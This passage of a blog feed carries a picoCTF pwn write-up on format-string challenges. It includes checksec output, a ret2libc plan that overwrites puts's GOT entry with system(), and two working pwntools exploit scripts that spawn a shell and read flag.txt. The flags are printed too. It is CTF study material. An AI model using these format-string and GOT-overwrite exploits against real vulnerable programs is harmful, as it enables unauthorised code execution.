class="number">0x6761</span>&#125;</span>c%24$hn&#x27;</span>.encode()</span><br><span class="line">payload += <span class="string">f&#x27;%<span class="subst">&#123;<span class="number">0x6c66</span>-<span class="number">0x6761</span>&#125;</span>c%25$hn&#x27;</span>.encode()</span><br><span class="line">payload = payload.ljust(<span class="number">0x50</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">payload += p64(sus+<span class="number">2</span>)</span><br><span class="line">payload += p64(sus)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;What do you have to say?\n&#x27;</span>, payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>explain : </p><p><code>fmtstr_payload()</code> : from pwntools</p><p><code>14</code> : offset when your input entry</p><p><code>&#123;sus : 0x67616c66&#125;</code> : sus is address we want to write value, and <code>0x67616c66</code> is that value</p><p>flag : <code>picoCTF&#123;f0rm47_57r?_f0rm47_m3m_741fa290&#125;</code></p><h1 id="format-string-3"><a href="#format-string-3" class="headerlink" title="format string 3"></a>format string 3</h1><h2 id="Description-3"><a href="#Description-3" class="headerlink" title="Description"></a>Description</h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Author: SkrubLawd</span><br><span class="line"></span><br><span class="line">Description</span><br><span class="line">This program doesn<span class="string">&#x27;t contain a win function. How can you win?</span></span><br><span class="line"><span class="string">Download the binary here.</span></span><br><span class="line"><span class="string">Download the source here.</span></span><br><span class="line"><span class="string">Download libc here, download the interpreter here. Run the binary with these two files present in the same directory.</span></span><br><span class="line"><span class="string">Additional details will be available after launching your challenge instance.</span></span><br></pre></td></tr></table></figure><h2 id="Source-3"><a href="#Source-3" class="headerlink" title="Source"></a>Source</h2><p>All the file we got : </p><ul><li>binary</li><li>source</li><li>libc</li><li>interpreter</li></ul><p>Checksec : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64</span><br><span class="line">RELRO:      Partial RELRO</span><br><span class="line">Stack:      Canary found</span><br><span class="line">NX:         NX enabled</span><br><span class="line">PIE:        <span class="function">No <span class="title">PIE</span> <span class="params">(<span class="number">0x3ff000</span>)</span></span></span><br><span class="line"><span class="function">RUNPATH:    b<span class="string">&#x27;.&#x27;</span></span></span><br><span class="line"><span class="function">SHSTK:      Enabled</span></span><br><span class="line"><span class="function">IBT:        Enabled</span></span><br><span class="line"><span class="function">Stripped:   No</span></span><br></pre></td></tr></table></figure><h2 id="Attack-analysis-3"><a href="#Attack-analysis-3" class="headerlink" title="Attack analysis"></a>Attack analysis</h2><p>Remember always patch binary with libc whenever you receive libc, I use <code>pwninit</code> to patch the libc.</p><p>Go around and we can’t see how to get shell or read flag, besides we get libc with different current version, so we need to <code>ret2libc</code></p><p>In libc always has <code>system()</code> function, the goal maybe call command  <code>system(&quot;/bin/sh&quot;)</code></p><p>because of lacking of condition : return to system() + rdi is a pointer to  <code>&quot;/bin/sh&quot;</code> string, i look around and see <code>puts</code> is holding that condition: </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts</span>(normal_string);</span><br></pre></td></tr></table></figure><p><code>normal_string</code> is <code>&quot;/bin/sh&quot;</code> has been declared. But what’s wrong with <code>puts</code> ? </p><p>you can see this : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RELRO:      Partial RELRO</span><br></pre></td></tr></table></figure><p>it means got doesn’t <code>GOT</code> protection, so I think we can attack <code>GOT</code>. Bonus with no PIE it means GOT’s address will be static. Reverse our road we got : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">call <span class="title">system</span><span class="params">(<span class="string">&quot;/bin/sh&quot;</span>)</span> &lt;-</span></span><br><span class="line"><span class="function">attack puts&#x27;s GOT to <span class="title">system</span><span class="params">()</span> address &lt;-</span></span><br><span class="line"><span class="function">format string to write into puts&#x27;s GOT value</span></span><br></pre></td></tr></table></figure><h2 id="Payload-2"><a href="#Payload-2" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">    gdb.attach(p,</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">b*main+145</span></span><br><span class="line"><span class="string">c</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">got_put = <span class="number">0x404018</span></span><br><span class="line">system_to_base = <span class="number">0x4f760</span></span><br><span class="line">leak_to_base = <span class="number">0x7a3f0</span></span><br><span class="line">payload = p64(got_put)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">b&#x27;in libc: &#x27;</span>)</span><br><span class="line">libc_leaked = <span class="built_in">int</span>(p.recv(<span class="number">14</span>),<span class="number">16</span>)</span><br><span class="line">base = libc_leaked - leak_to_base</span><br><span class="line">system = base + system_to_base</span><br><span class="line">system_tail = system &amp; <span class="number">0xffffff</span></span><br><span class="line">log.info(<span class="string">&#x27;libc base : &#x27;</span> + <span class="built_in">hex</span>(base))</span><br><span class="line">log.info(<span class="string">&#x27;system : &#x27;</span> + <span class="built_in">hex</span>(system))</span><br><span class="line">log.info(<span class="string">&#x27;system tail : &#x27;</span> + <span class="built_in">hex</span>(system_tail))</span><br><span class="line"></span><br><span class="line">payload = fmtstr_payload(<span class="number">38</span>,&#123;got_put : system&#125;)</span><br><span class="line"></span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">b&#x27;ls&#x27;</span>)</span><br><span class="line">p.sendline(<span class="string">b&#x27;cat flag.txt&#x27;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>handcraft payload : </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">    gdb.attach(p,</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">b*main+145</span></span><br><span class="line"><span class="string">c</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">got_put = <span class="number">0x404018</span></span><br><span class="line">system_to_base = <span class="number">0x4f760</span></span><br><span class="line">leak_to_base = <span class="number">0x7a3f0</span></span><br><span class="line">payload = p64(got_put)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">b&#x27;in libc: &#x27;</span>)</span><br><span class="line">libc_leaked = <span class="built_in">int</span>(p.recv(<span class="number">14</span>),<span class="number">16</span>)</span><br><span class="line">base = libc_leaked - leak_to_base</span><br><span class="line">system = base + system_to_base</span><br><span class="line">system_tail = system &amp; <span class="number">0xffffff</span></span><br><span class="line">log.info(<span class="string">&#x27;libc base : &#x27;</span> + <span class="built_in">hex</span>(base))</span><br><span class="line">log.info(<span class="string">&#x27;system : &#x27;</span> + <span class="built_in">hex</span>(system))</span><br><span class="line">log.info(<span class="string">&#x27;system tail : &#x27;</span> + <span class="built_in">hex</span>(system_tail))</span><br><span class="line"></span><br><span class="line">payload = <span class="string">f&#x27;%<span class="subst">&#123;system_tail&amp;<span class="number">0xff</span>&#125;</span>c%42$hhn&#x27;</span>.encode()</span><br><span class="line">payload += <span class="string">f&#x27;%<span class="subst">&#123;(system_tail&gt;&gt;<span class="number">8</span>)-(system_tail&amp;<span class="number">0xff</span>)&#125;</span>c%43$hn&#x27;</span>.encode()</span><br><span class="line">payload = payload.ljust(<span class="number">32</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line"></span><br><span class="line">payload += p64(got_put)</span><br><span class="line">payload += p64(got_put+<span class="number">1</span>)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">b&#x27;ls&#x27;</span>)</span><br><span class="line">p.sendline(<span class="string">b&#x27;cat flag.txt&#x27;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>flag : <code>picoCTF&#123;G07_G07?_cf6cb591&#125;</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Hi guys, this is series clear pwn from medium up to highest difficulty. I write these writeups mainly about the things I’ve learned, so s</summary>
      
    
    
    
    <category term="Writeup" scheme="https://vuk3r.github.io/categories/Writeup/"/>
    
    
    <category term="PWN" scheme="https://vuk3r.github.io/tags/PWN/"/>
    
    <category term="Writeup" scheme="https://vuk3r.github.io/tags/Writeup/"/>
    
  </entry>
  
</feed>
